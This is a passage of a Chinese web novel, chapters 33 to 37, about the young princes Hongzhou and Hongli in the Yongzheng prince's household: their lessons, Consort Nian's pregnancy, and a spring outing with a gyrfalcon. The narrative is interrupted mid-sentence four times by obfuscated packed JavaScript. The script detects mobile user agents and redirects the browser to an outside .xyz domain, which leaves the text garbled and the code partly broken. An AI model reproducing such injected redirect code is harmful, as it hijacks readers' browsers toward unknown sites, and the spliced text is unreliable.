在后院的时候,弘昼和弘历就已经把《三字经》《百家姓》《笠翁对韵》这样的孩童启蒙书背熟了。 现在先生讲的是《幼学琼林》,每日里讲上一两节,随后就带着两位小阿哥一起读,读的时候就能将这上面的字认得七七八八的。 才三岁多的孩子,只要能在课堂中好好坐下,不吵不闹地待到散学的时辰就能算乖了。而这个孩子若是不仅课上不吵不闹,还能跟着好好念书,甚至学得还不错,那简直是所有启蒙先生的最喜欢的孩子。 而现在负责教弘昼和弘历的李先生,就发现自己带的这两个雍亲王府的小阿哥就属于这样的孩子。 最初四爷放话出去要给府中两个小阿哥找启蒙先生的时候,意动的人不少。毕竟柳先生在雍亲王府的待遇大家都是看见了的,虽说只是启蒙先生,但雍亲王府给的束脩依旧十分丰厚啊,而且对先生的学识没有太大的要求,只要讲课有趣人品好就行了。 李先生是从十多个人中杀出来当了雍亲王府这两位小阿哥的西席,最开始他在心中已经想过这样门第的阿哥,说不定是自幼宠溺着长大的。自己届时一定要做好分内之事,不该多嘴的一定不多嘴,不管他们怎么顽皮淘气都要忍着。 可在实际接触后,李先生才知道自己错得离谱。他在家中给自己的孩子启蒙的时候,都没这么乖的,而且自家的孩子还能上戒尺和教鞭,都不如这两位小阿哥听话和聪慧。 将今日的课程讲完后,李先生带着他们读了好几遍,确保他们没有不会念的字之后就在他们身旁打转,听着他们自己读书。 散学的时辰到了,李先生将自己的东西收拾好了离去,弘昼抬起自己的双手伸了一个懒腰。 这些日子一直待在床上,想睡就直接睡了,现在猛然一早起还有些不习惯。 现在他们的年纪小,还不用写大字,毕竟这么大点连毛笔都握不稳,自然也不能勉强他们能拿着笔横平竖直地写出字来了。是以也没有功课,只要先生一走,剩余的时间就是他们拿来玩的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020680|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “弟弟,咱们去玩吧。”弘历将自己的书本扔给了一旁的奶娘,眼睛亮亮的。 弘昼受伤的这些日子,弘历散学后也没有出去玩,而是跑到了弘昼屋中陪着他。现在弟弟终于好了能出来玩了,弘历想要拉着弟弟去玩耍。 “咱们玩什么呢?” 弘昼靠在椅子上,手掌撑着脑袋思索着。他现在对于前院还不算特别熟,也不知道什么地方好玩,但若是叫他回房中玩玩具,那他也是不肯的。 听到这个问话,弘历凑近了些,小声说道:“咱们能不能去找十三叔玩?” 那日见面,风趣幽默的十三叔给小小的弘历留下了很不错的印象。现在一说起玩,就不免想到那日十三叔说的他家中有两个同龄的哥哥弟弟。 弘历低头算了算,十三叔的孩子也就是堂哥和堂弟,如果相处得来的话也算兄弟了,反正肯定是要比三哥这个哥哥好不少的。 “不行,”弘昼苦着脸摇了摇头,“咱们又不知道十三叔在哪里,难道要去找阿玛?阿玛也不知道在不在家呢。” “也是哦。”弘历也苦了脸,皱着眉想了好一会儿,“那不如咱们还是去踢蹴鞠吧,这回在咱们院子里踢,肯定遇不到三哥的。” 蹴鞠?弘昼在心里想了想后点了点头,运动运动也好,总不能因着这一次日后就再也不碰蹴鞠了。 已经商量了要玩什么,只等着午膳用过了就能去玩了。弘昼和弘历回了自己的院子,午膳已经被摆好了,各自被奶嬷嬷喂饱后就在庭院中摆开了架势开始蹴鞠。 蹴鞠这样的运动玩起来不一会儿脸就开始红了起来,汗珠也随着脸往下落,踢了一会儿弘昼就气喘吁吁地停了下来。 弘历脸上也变红了,汗水也流了不少。 奶嬷嬷们见这两位小主子停下来了,纷纷上前将脸上的汗水拭去。然后各自带着自家的小主子回了房间换衣裳,春日里寒凉,这出了汗过不久冷下来之后就是透心凉,若是不及时将衣裳换了就容易风寒。 换好了衣裳后弘昼便有些犯困了,小孩子的觉多,但凡多运动一会儿便开始犯困。这时候弘历也犯困了,兄弟俩索性躺在一起睡了会儿午觉。 等四爷办完差事从外面回来,想着今日小五已经好全了第一日去念书便去看看。看到的就是两个睡得横七竖八的孩子,奶嬷嬷们不大敢上前将他们摆好,只是用被子都把他们盖上了免得着凉。 疲倦了一日的四爷见到这个景象,嘴角不自觉扬起了一抹笑意,仿佛看到了自己和十三年幼时。虽说自己要比十三大好几岁,年幼时在宫中也不能这般没有规矩,但其中的感情是一样的 日后弘历和弘昼,说不定能成为自己和十三这样的好兄弟。 正在四爷欣慰的时候,有年侧福晋院中伺候的人求见,四爷有些疑惑,什么事竟然等不得自己回书房,竟然在两个小阿哥这里就要求见。 但年侧福晋平日并不是轻狂的人,四爷担心是不是出了什么事,便叫了进来。 “爷,年侧福晋今儿不适,请了太医前来诊出了三月的身孕。” 34.第 34 章 第34章 “什么?”四爷先是一愣,随即脸上露出狂喜之色。 自年氏进府后,四爷对这位甚合他心意的侧福晋是爱重极深。从前宠爱过的什么李氏武氏都被抛之脑后,唯有大日子会去福晋的院中坐坐,还有就是看望两个孩子,其余人的院子几乎不曾踏足了。 唯一令他有些想不明白的是,从前对李氏还不曾有这样的宠爱,但李氏便怀了好几胎。但现在这样对清凝,却一直不曾听闻肚子里有什么消息。他倒是无所谓,如今儿女双全,但清凝却总因为这件事愁上眉头,让四爷见了好不心疼。 现在终于听闻喜讯了,四爷几乎找回了当初听到福晋有身孕时的感受。不过那时期待的是嫡长子,如今却是期待着自己喜欢的人和自己的结晶。 得知了这个消息,四爷几乎是一刻也等不了,抬脚就往年侧福晋的西侧院而去。 来禀报这个消息的人自然知晓这是个好消息,是以也不曾压低音量,这一嗓子直接把弘历和弘昼都吵醒了。毕竟这两位小爷睡觉的时候,旁边伺候的人也是不敢随意喧哗的。 等弘昼揉了揉眼睛直起身来,看到的就是阿玛离去的背影。 年侧福晋有孕了?弘昼想了想自己曾经见过的年侧福晋,看上去是十六七岁的模样,放在现代最多是个高中生,但是在这个时代却已经嫁人甚至怀孕了。 每次见到年侧福晋的时候她脸色都蛮白的,瞧着身体不大好。怀孕太过于消耗女子的元气了,生产是一件极为危险的事情,这总让人有些担忧她的身体是否能承受得住。 四爷一路上健步如飞,他从未这么急切地想要见到一个人。 直到到了西侧院,看到了正在喝坐胎药的年侧福晋,那颗一直在怦怦跳动的心似乎才找到了落脚点。这个才华横溢的女子,终于怀了他们之间的孩子。 “爷?”年侧福晋听见脚步声,从药碗中抬起头来,脸上露出了惊喜之色,“怎么这么快就来了?” 四爷上前一步搂住了她要行礼的身子,柔声道:“得知这样的大喜事,我又岂能不快些来见你。” 年侧福晋的大丫鬟在桑看着眼前的一幕,唇边蔓延起了笑:“侧福晋知道这桩喜事后,也是想要快些说于爷来听呢,若非爷在外办差,怕是知道的第一时间便想告诉爷了……” 这话还未说完,就被年侧福晋瞪了一眼,轻斥了一声:“多嘴。” “哪里多嘴了,”四爷带着年侧福晋坐到了椅子上,“我看这个丫头倒是说得好,这些事日后都要告诉我才好。” “爷,”年侧福晋无奈,“您这样,叫妾身日后如何管教她们?这一个个的都被惯得会贫嘴了。” 面上无奈,但年侧福晋心中却宛如吃了蜜糖一般。这在桑的话也算说中了她的心思,但她毕竟年纪不算大,还有些羞怯的小心思不好在爷面前表露出来。 “好了好了,”四爷微微挥手,侍立一旁的人都纷纷往外退,“身子可有什么不适的地方?” 府中诞生过的孩子不算少,四爷也大体明白了在孕期每个女子表现的不同。当初福晋怀弘晖的时候,不仅没什么感觉,主持府中中馈一点也不曾出过差错。而李侧福晋有孕的时候,有怀恪的时候也没什么感觉,但生弘昐弘时的时候却受了大罪。 年侧福晋平日里瞧着身子弱些,四爷有些担心佳人受不住怀孕的劳苦。 “没有呢,”年侧福晋幸福地笑着,“这两个月来竟毫无感觉,若非这两日有些着凉请了大夫前来看,还不知道腹中竟然已经有一个小宝贝了。” 年侧福晋身子从小就弱,葵水不准已经是惯例了。这两个月没来从前也是有过的,是以她最开始没当一回事,大夫诊出来的时候还有些不可置信。毕竟她身子弱,怀不上也是有的。 “看来这还是个乖巧的,”四爷拉住了年侧福晋的手,“也不知道是小阿哥还是小格格,但这般乖巧说不定是个小格格,想来是个和她二姐一样的乖姑娘。” 府上的二格格也就是怀恪郡主,年侧福晋自然是知道的。虽然自她进府以来,怀恪郡主的额娘李侧福晋就已经失了宠,但是这位郡主却依旧是四爷的掌中宝。从年节的礼,还有平日里提及时的宠爱便可见一斑。 “若真是个小格格,”年侧福晋想了想,“能像她二姐自然是最好的,不过妾身还是想她能像爷多些才好。” “像我?”四爷被逗乐了,“像你才好,我的性子太刚直了些,若是个小阿哥像我才好,若是个格格最好还是像你。若能长相才情皆随你,那日后咱们女儿便再不须操心了。” 年侧福晋轻轻地抚摸着自己的肚子,心中极为愉悦。这一胎是女儿也好,是儿子也罢,都是她的孩子。虽说额娘和阿玛希望她早日生个儿子出来,但她又不是送子娘娘又怎么能对自己腹中的孩子打包票呢? 现在试探了一下四爷,她心中更欢喜了。日后生出女儿来,想来四爷也不会对此有什么意见。 年侧福晋有孕的事情很快就传遍了府中,东侧院那边摔了好几套的茶盏,李侧福晋气得脸都红了。 这年氏瞧着就是个体弱的坯子,这样的身子竟然还能怀孕?以爷如今对她的宠爱,若是生下来个阿哥,岂不是又给弘时找了个大对手。 想到这,李侧福晋挥挥手叫来了梅枝:“快,快些扶我去小佛堂。” 她要在菩萨面前许愿,要这年氏最好生不下来,即便生下来最好生个格格。若是不小心生了个小阿哥,那最好是活不下来。 对于这件事,福晋倒是无所谓的。府中这些小阿哥都不是她的孩子,年侧福晋生下来不管是个阿哥还是格格都对她没有什么影响。 甚至于她心中是有点高兴的,从前弘历和弘昼出生之前,李氏一直暗地里盘算着让弘时当世子。如今弘历和弘昼出生后,她收敛了点,可行事作风却越发焦急了。现在等年氏的孩子出生后,想来李氏会更加着急。 虽说不管谁得了这个世子之位对她都没什么好处,但相对而言,她更不想李氏得到这个位置。 而对于耿执羽而言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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目送着四爷离去后,福晋脸上端庄的笑意没了,神色淡淡的。 庶母有孕这件事暂时还影响不到弘昼,他依旧是每日里上一个时辰的课,其余的时间便可以自由活动了。 被打了板子的弘时也终于养好了身子,见到弘昼的时候态度也好了不少。但弘昼不大愿意理他,毕竟自己现在是小孩子,不原谅曾经将自己弄伤了的人也是能让人讲解的不是吗? 弘时最初端着笑脸和弘昼说话,被顶了几次后笑脸也端不下去了。除却四爷在的场合,其余时间他开始将弘昼视为无物。 而弘历因为经常和弘昼在一起玩,被弘时判定为了弘昼一党,也受到了波及。具体行为就是,弘时在给弘昼白眼的时候也会顺便给弘历,无视弘昼的同时也不会搭理弘历就是了。 弘时的态度并未影响到弘昼和弘历,他们和这位三哥能见到的时间其实也不多。毕竟弘时已经开始全天念书了,大部分时间要和柳先生待在课堂中。 35.第 35 章 第35章 春日的阳光算不上毒辣,照在人身体上只会觉得暖洋洋的。甚至因为冬日刚过,让人不禁对这一抹温暖的阳光多出了些留恋与喜爱,甚至希望这太阳在身上停着的时间再长些久些。 但对于弘昼而言,温暖的太阳已经不足以吸引他,至少不足以吸引现在的他。盖因昨日的时候阿玛来自己的院子抛下了一个重磅炸弹,今日要带着他们三兄弟一起出城去踏青。 虽说和三哥出去玩似乎也不是什么值得高兴的事情,但只要一想到能出府,甚至是出城游玩,弘昼的兴奋劲儿就有些抑制不住了。 原谅一个三年时光都待在一个地方的人吧,在现代的时候想要出去玩是一件很简单的事情。不论是去商圈逛街,还是想要去见见自然风光都没有那么难,只需要带上手机便能来一场短途旅行。 但是自从来到了这里,因为年龄的缘故,弘昼连雍亲王府都没有怎么出过。之所以不说完全没有出过,全靠他还在除夕去过一次紫禁城,虽说路上全程都在马车中,但到底也算是出府了。 脑海中浮现起踏青应该见到的山山水水,春日里冒出新芽的花草枝条,还有小鸟叽叽喳喳的叫声。这些本来不足为奇的美景,在现在却突然成为许久不曾见过的好景致。 相对于弘昼的惊喜和期待,弘历和弘时表现的就要平淡许多了。 弘时可以自由出入雍亲王府,京城中的大街小巷他去过不少,城外的景致在和朋友跑马时也看到了许多。是以这样一次简单的踏青活动就不足以引起他的情绪,若非要说这次出游有什么不一样的,那就是他甚少跟着阿玛出来进行一次简单的玩乐活动。 而弘历就完全不知道五弟是为什么兴奋了,他还不知道外面的景致长什么样子。不曾见过外面的山山水水,也不曾听过幽谷中潺潺的溪水声音,更不曾见过山间树林里那些活力十足的小动物。 “就这么高兴?”四爷见到弘昼一直眼神亮晶晶地盯着自己,不免觉得好笑,上前薅了一把弘昼的小脑袋。 弘昼一点也不掩饰,重重地点了点头。这很难不高兴啊,总算出门放风了。 府中的下人早就准备好了马车,虽说四爷的马车坐下他们父子四人是绰绰有余的,但他是个很讲规矩的人。最后定下的是四爷自己坐一辆,弘昼三兄弟另坐一辆车。 毕竟到底是亲兄弟,又不可能因为幼时的一点小事就一辈子不来往。往后一起做的事情只会多不会少,怎可因噎废食。 马车是上好的黄花木制成的,上面的雕刻精致,摆放的软垫也是由精致的蜀锦绣成。但不管再好的马车,要和不喜欢的人一起坐就都成了折磨。 但弘昼被出行的快乐掩盖了这一点的不愉悦,他兴奋地掀开了窗帘,打量着外面的场景。 虽说是出去玩,但弘昼和弘历上午的课还是上了的。现在正是未时,街上人头攒动,但老远地看见有马车驶过时路上的行人便会急急忙忙让路。 虽说这两年收成还算不错,但这个不错也仅止于能让普通百姓的家中吃得上饭不至于挨饿,是决计养不起马,更用不起马车的。而能用得起马车的人家,在这些普通百姓眼中就算极为富贵的家族了。 更别提这几辆马车的马儿看上去膘肥体壮,马车前后围着十几骑的护卫。这一看就不是普通人家,自然要早早避开了以免冲撞,万一惹到了贵人那真是惹到大祸患了。 看着外面那些古朴的建筑,耳边传来了卖货郎的叫卖声,弘昼有了一瞬间的恍惚,这么热闹的景象他许久不曾看见过了。雍亲王府的下人们一向是极为规矩的,就算是过年过节的时候也都是安分的,守着规矩的。 热闹的场景在雍亲王府几乎见不到,而现在猛然见到街道上来来往往的行人,还有那些听在耳边显得很是亲切的叫卖声。令弘昼对自己身处的这个世界有了更多真实的感觉,看着外面那些不大看得清的路人,这种真实的感觉慢慢转化为了一种对这个世界的归属感。 降生三年,弘昼第一次有了归属感。 从闹市驶过,不久就到了城门,弘昼对外面的景象也不再那么稀奇了,便放下了窗帘。 “哼,”弘时轻轻哼了一声,低声道,“没见识。” 这声音虽低,但这马车统共就这么一点点的距离,听清楚是再正常不过的事情了。而结合一下刚才弘昼掀窗帘的举动,这句话是在说谁更是不言而喻了。 弘昼翻了个白眼,不想理会这个有点幼稚的三哥。这个嘴仗甚至让他升不起和他反驳的欲望,只会在心里无语。 不多时,踏青的地方就到了。 弘昼从马车上下来,望向了前方。这里的景致很不错,前方有一片的桃花林,现在正是桃花盛放的日子,远远看过去每棵树上都带着粉色的小花朵,瞧着就让人的心情愉悦不少。 再往前去有一座小山,不远处还有条并不算多宽大但足够清澈的溪流。和从前弘昼去过的那些已经开发得不错的景点不同,这里的景致带上了些自然的意味,没有人为的干预,有一种自然生长的美感。 “哇。”弘历发出了一声惊叹,摇了摇弘昼的手臂,“弟弟你看那里,那里好漂亮。” 顺着弘历的手望了过去,弘昼也发出了那声惊叹。那里并不是什么漂亮的景致,但那里有一只极为神俊的鸟儿。 那鸟儿整体呈白色,喙是角蓝色的模样,翅膀的尾羽上带着点黑。此时正抓在一根木杆上被人抬着走,似是不耐烦了,突然展开了双翼往天空飞去,不多时就盘旋在了天空中。 展开双翼后这鸟儿就显得更加威风了,那尖利的喙丝毫不让人怀疑它的凶狠程度。 “你们喜欢额日乐?”四爷的声音从后面传来,弘昼扭头望去就见四爷身边还站着十三爷,见他们望过来对着他们温和地笑了笑。 “阿玛,十三叔。”弘昼先是行礼,后才惊喜地问道,“那只鸟儿叫额日乐吗?” 十三爷身后跟着两个男孩,一个看着十岁上下,另一个则五六岁的模样。正好奇地打量着弘昼和弘历俩兄弟,弘时他们自然是见过的,只是没有见过这两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029275|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪有些小的弘昼和弘历。 “这是你们弘昌堂哥,这个是你们弘暾堂哥。”四爷对着十三爷伸手的两个小男孩招了招手,将他们叫到了跟前,对着弘昼和弘历说道。 弘昼乖乖叫了堂哥,但他现在的注意力还在天空中的那只鸟儿身上,叫完后便立刻又问道:“阿玛,那只鸟儿是叫额日乐吗,那是你的吗?” 四爷轻轻点了点头:“不错,这是几年前我随着汗阿玛去巡幸塞外的时候偶遇的一只海东青,当初为了熬它足足花了十好几日。” 这样的猛禽被捕捉来时是断然不肯直接就开始听话的,一般要进行熬鹰。熬掉它的意志和骄傲之后,才能将这样凶悍的鸟儿驯化。但四爷当然是不必自己熬鹰的,他有一大把可以选的属下来代劳。 他只需要下了这个吩咐后等着,几日后便有人将驯化好的海东青送到他的手上。 四爷从前也有过猛禽,但唯有这只额日乐这么多年了虽说驯化了,但仍有一股傲气在。不论什么时候放出来,总会带回一些小猎物回来,这令他最为喜欢。 “阿玛,能不能让额日乐下来让我看看?”弘昼亮着眼睛问道。 四爷望了望天上已经开始低空盘旋的额日乐:“等一会额日乐就自己飞回来了。” 弘昌不耐地看了看上空中盘旋的鸟儿,心里对阿玛带着他出来和小孩子玩这样的事情不满极了。转眼就看到了神情更不耐的弘时,心里哼笑了一声,看来不想过来的不止自己一人。 对于这位弘时堂兄,弘昌一直认为对方是走了狗屎运的。从前的雍亲王府有聪慧的弘晖和弘昀,结果这两位都殇了生生让这么个蠢货成了长子,凭借这些年和弘时的交际来看,弘昌一直觉得他能投胎到雍亲王府实在是有些运气好。 看了看前面的四爷和十三爷,弘昌的想法开始放空。上回见到的弘晳堂兄倒是个心胸不错的,又在皇玛法面前很得脸,倒是可以多多结交。 不多时,额日乐从弘昼的视线中消失了,但是很快地又重回了视线中。不仅重新回到了低空,还朝着弘昼这里飞来,嘴边正叼着什么东西。 等近前来,弘昼就看清楚了额日乐嘴中叼着的东西。那是一只还有呼吸的野兔,浑身的毛灰灰的,唯有鼻子嘴巴是粉红的,此时正喘着气。 额日乐很快就飞到了四爷面前,将嘴中的野兔松了下来,随后昂首挺胸地站在了四爷的肩膀上。时不时给自己梳理一下羽毛,又看了看地下的野兔,仿佛在炫耀自己的战绩一般。 野兔被放下来的时候就被一旁的下人拿住了,弘昼和弘历还有弘暾几乎同时发出了没见识过的哇声。 看着三个小孩子的反应这么大,四爷和十三爷的眼中都露出了一丝忍俊不禁。 “阿玛,能让我摸摸吗?”弘昼亮着眼睛问道,“我轻轻地,不会弄疼了额日乐的。” 四爷将额日乐从肩膀上放到了手臂上,随后略低下了身子示意弘昼可以摸一摸。 看着这个神俊骄傲的鸟儿,弘昼咽了咽口水才将手伸出去。 36.第 36 章 第36章 额日乐的脑袋仰得高高的,不时用喙梳理着自己的羽毛。被弘昼轻轻碰了一下脑袋后,似乎不满地鸣叫了一声,随即便不搭理弘昼了。 这样神俊的鸟儿从前是只能在动物园隔着玻璃窗看上一眼的,弘昼收回手后心满意足地围着四爷打转。 “阿玛,额日乐平日里吃什么?平时它也会自己出去捕捉猎物吗?” 从未在小儿子这里感受过这样热情待遇的四爷甚至有点受宠若惊,平素这小子对自己可没有这般殷勤。 将弘昼的问题一一答了之后,四爷便约着和十三爷去前面的小山上试一试身手了。这次说是带着孩子出来踏青,实际上他们有些技痒想出来打猎一番,若是能猎到不错的猎物,带回府中去加餐也是不错的。 弘时和弘昌的年纪已经可以去参与这样的打猎活动了,而弘昼和弘历还有弘暾年纪还有些小不宜带进林子里。毕竟进去打猎都是要骑马的,这三个站着还不如马腿高呢,若是真让他们骑害怕掉下来。 于是大的两个就跟着去打猎了,小的三个被留在这里看风景,吩咐了下人们跟在身边伺候。 眼看着额日乐被阿玛带进了林子里,弘昼的眼神依旧不舍得从那里移开。也不知道平时额日乐石养在哪里的,后面回府了有没有机会悄悄去看一看。 “别看了。”弘历拉了拉弘昼的衣袖,好奇地看向弘暾,“方才阿玛和十三叔说你是我们的堂哥,那你今年几岁了?” 弘暾挺了挺自己小胸脯,骄傲道:“我马上就五岁了,额娘说我再过上两三年就能学骑射了,到时候就能跟着阿玛他们一起去打猎了。阿玛今日出来的时候与我说了,你们两个是弟弟,要好好照顾。” 嘴上说着要照顾人,弘暾就当真带着弘昼和弘历一起去前方不远处的桃花林逛了逛,一路上很有兄长风范地带着两个弟弟。时不时问问他们累不累,要不要停下来歇息歇息。 在家中的时候奶嬷嬷就是这样照顾我的,弘暾在心中想道,我这样照顾这两个弟弟应当也是对的吧。 虽说出来的时候很兴奋,但逛了不多时弘昼就累了,有些走不动了。 刚停下步伐,身边带着伺候的人就很是麻利地掏出了随身用包袱携带的绢布。铺了一层在地上,随后又不知道从哪里掏出来了三个坐垫,甚至摆上了一个小小的案几,这案几上立刻摆了一盘水果,和一盘糕点。 弘昼坐在坐垫上,看着他们不知道从哪里弄来了小炉子还有茶壶竟然就开始煮茶了。在心中暗暗感叹了一声,这就是专业吗,刚刚都没看见他们手里拿着这些东西。 给三位小阿哥自然不敢煮什么浓茶,煮的是甜甜的蜜水。正好今日带出来的这点心是咸口的,这样三位小阿哥若是有心想要垫垫肚子也不怕腻了。 这种点心平日里在府上弘昼是随便吃的,也就不会馋。可在这样景色秀美的地方,又刚刚绕着这里闲逛耗费了不少的体力,原本不起眼的点心也一瞬间就变得美味起来了。 用水壶中的水洗过手后,弘昼拿起案几上的一块小点心就塞进了嘴里。这点心是咸香的味道,里头还有点馅似乎是肉做的,但弘昼吃不出是什么肉,只觉得一入口便是一股油香吃得满足极了。 弘暾原本是不饿的,但是见到这位弘昼小堂弟吃得这样香,不禁也拿起了一块点心塞进了自己的嘴中。跟着兄弟一起吃,这点心似乎凭空变得好吃了不少。 吃了两块点心后,弘昼端起蜜水往自己嘴中灌去。只觉得满足极了,今天这场郊游看了美景,也吃了美食。虽说这美食是在府中随处可见的,但在这样的地方吃下去称得上是别有一番风味了。 “你们平日里在府中是一起玩吗?”弘暾看着弘昼和弘历,他们俩坐得很近,两个垫子几乎要靠在一起了,这让弘暾有点羡慕。 虽说府上他有一个哥哥一个弟弟,还有两个姐姐。但哥哥嫌他年纪太小了不爱与他玩,弟弟现在还不会说话呢,他有些嫌弃这样完全不懂事的小孩子,也不愿陪着玩。而两个姐姐养在后院中,见的时间不多,就更别提陪着他玩的。 是以现在见到弘昼和弘历亲密的动作,想到若是有个和自己一样大的兄弟陪着自己玩那将会是多么好过的日子。 弘历点了点头,语气中带了一点不易察觉的炫耀:“是啊,额娘说我和弟弟只差三个月。我们经常在一起玩,现在搬到前院念书也是一起的。不论是念书习字,还是玩耍都一直是一起的。” “真好,”弘暾叹了口气,“也不知道弘晈什么时候能学会说话,他现在就只会叫额娘还有嬷嬷,可笨了。” 虽说额娘说他年幼时也是这样的,但弘暾是绝对不肯信的。自己年幼的时候一定不和弟弟一样,现在弟弟不仅不会说话,甚至还会流口水呢!反正他幼时是肯定不流口水的,额娘现在为了弟弟才骗他的,怕弟弟长大之后不好意思。 “那你日后可以来和我们一起玩呀。”弘昼见小堂哥愁眉苦脸的模样,正好也想拓展一下自己的行动范围。说是去十三叔府上找堂兄玩阿玛应该会答应吧,他看着和十三叔关系很好的样子。 “真的吗?”弘暾的眼睛一亮,“那可说好了,等后面回府了我就回去找阿玛说,让他同意我去四叔府上找你们玩。” 弘历也大方地点头同意:“你来吧,我和你一起玩小木剑。还有蹴鞠,平时就我和弟弟两个人玩,加上你还多一个。” 点心吃了之后,日头就逐渐向西了。有马蹄声由远及近地传来,不多时就到了弘昼能看见的地方。 是四爷和十三爷回来了,后头还跟着弘时和弘昌。身后的十几骑护卫拖着猎回来的猎物,这京郊的山上虽说能打猎,但没有什么大型动物,是以只打了些獐子野兔之类的小动物,像老虎野猪和熊这样的猎物是很难得见的。 可惜这些猎物四爷不让近前去看,这两个孩子还是有些太小了,若是叫他们看了若是梦魇了那可就糟糕了。 打猎回来之后,便要赶着回府了。现在已经是酉时了,城门在戌时一刻便会关闭,这里离城门也有些距离若是不快些回去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034335|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只怕便要在城外过夜了。 四爷当然是有法子能让城门为他打开的,但像这样的事情若是做了必然会被官员弹劾。而跟着兄弟和孩子一起出来踏青自然不是什么一定要动用这个权利的事情,所以他选择现在出发赶上关城门的时间。 弘昼又回到了出来时坐的这辆车,他掀开了窗帘看着和来时不一样的风景。 弘时脑袋昂得高高的,从脸色上看似乎是在自得。 今儿跟着阿玛打猎的只有自己,看来虽说阿玛平时偏心这两个,但到底还是知道自己才是这府上最可靠的。 回到府上的时候天色已经暗了下来,四爷将下午的猎物分给了后院,其中福晋和年侧福晋占大头,其余的院子最多分到一只猎物。 下了马车便已经过了用晚膳地点了,弘昼下午春游的时候吃了整整一碟子的点心,即便没用晚膳倒是也不饿。但四爷和弘时很明显饿了,骑射是一件极为消耗体力的事情,下午又打了那么多的猎物,现在腹中只觉空空的。 不过四爷并不准备带着三个孩子用膳,他今日专门猎到了一只毛色极佳的狐狸。看到那只狐狸的时候四爷便看上了那一身皮毛,费了点功夫才活捉到的,为的就是后面做衣裳的时候好剥出完整的皮毛,这是他预备着给年侧福晋的。 清凝的身子弱,一到冬日里日子就难过。一看到这样的物件,四爷就不自觉地想到了她,如今回来了自然是要亲自去送这一份礼的。 四爷走后,弘时自然更不想留下来和这两个小屁孩吃饭。便带着自己的随从离去,他院中什么好吃的没有,跟着两个小屁孩吃的话还怕吃不下呢。 被剩下的弘昼和弘历倒也不生气,虽说下午用了不少点心现在还不饿。但是嬷嬷既然劝了那就还是用点吧,若是半夜被饿醒了那可太难受了。 十三皇子府 弘暾跟在十三爷身后:“阿玛,今日弘昼和弘历说了我可以去他们府上找他们玩,我今天和他们玩得很开心,你就让我去他们府上找他吧,阿玛~” 尾音得极长,拉住了十三爷的衣摆,一副不达目的不罢休的模样。 十三爷的脑袋有点疼,他和四哥的关系好。见自己的儿子和四哥的儿子关系也好,本来是应当觉得欣慰的一件事,但这个孩子实在有些太缠人了。况且弘暾平日里的功课便算不得好,若是放开了让他去找堂兄弟玩的口子,岂非功课就更要抛之脑后了。 听阿玛说起是担忧自己功课,弘暾当即不高兴地保证:“阿玛就放心吧,我一定不落下功课。况且弘昼说了四伯已经给他们找了先生了,到时候我们还能一起讨论功课呢。” 十三爷用怀疑的目光看着弘暾,这个儿子在先生在的时候都懒得动功课,会在去找堂兄弟玩的时候想起功课吗? 似乎是看出了十三爷眼中的质疑,弘暾更不高兴了:“阿玛小瞧人,我肯定会好好学的,到时候叫先生也夸我。” “那可说好了,”十三爷慢慢悠悠道,“你先叫先生夸你一次了,我就让你去你四伯的府上玩。” 37.第 37 章 第37章 夏条绿已密,朱萼缀明鲜。今年的夏天似乎要来得更早些,还不到六月雍亲王府中便已经十分炎热。主子们纷纷开始用起了冰,而弘时却觉得自己的火气是那一小盆的冰扑灭不了的,甚至换来一大缸的冰块也是扑灭不了的。 弘时自从上回被阿玛命人打了十板子后,便一直被四爷盯得紧。两三个月后见他果然比从前要听话些后才逐渐放松了些,这些日子弘时过得是清苦极了,既不能和堂兄弟们出去喝茶闲谈,也不能与交好的朋友出去跑马射猎。只能在这府中跟着柳先生一日又一日地念书,日子实在是没意思极了。 看着阿玛终于允许自己如从前一般能随意出府了,弘时也不敢在现在就随意答应堂兄弟的邀约了。虽说他一直笃定自己是汗阿玛最看重的儿子,但到底还是有了些危机感,特别是府中极为受宠的年侧福晋怀孕后,这股危机感更甚了。 可想着好友三番两次地递帖子,弘时还是耐不住出来了一趟。 “哟,”佟佳福成老远见到弘时进来,嘴里发出一声极长的感叹,“咱们这盼天盼地的,总算是将咱们弘时小爷给盼出来了。知道的是请你出来喝茶,不知道的还以为是叫你出来作奸犯科呢,这么久都舍不得出你们雍亲王府。” 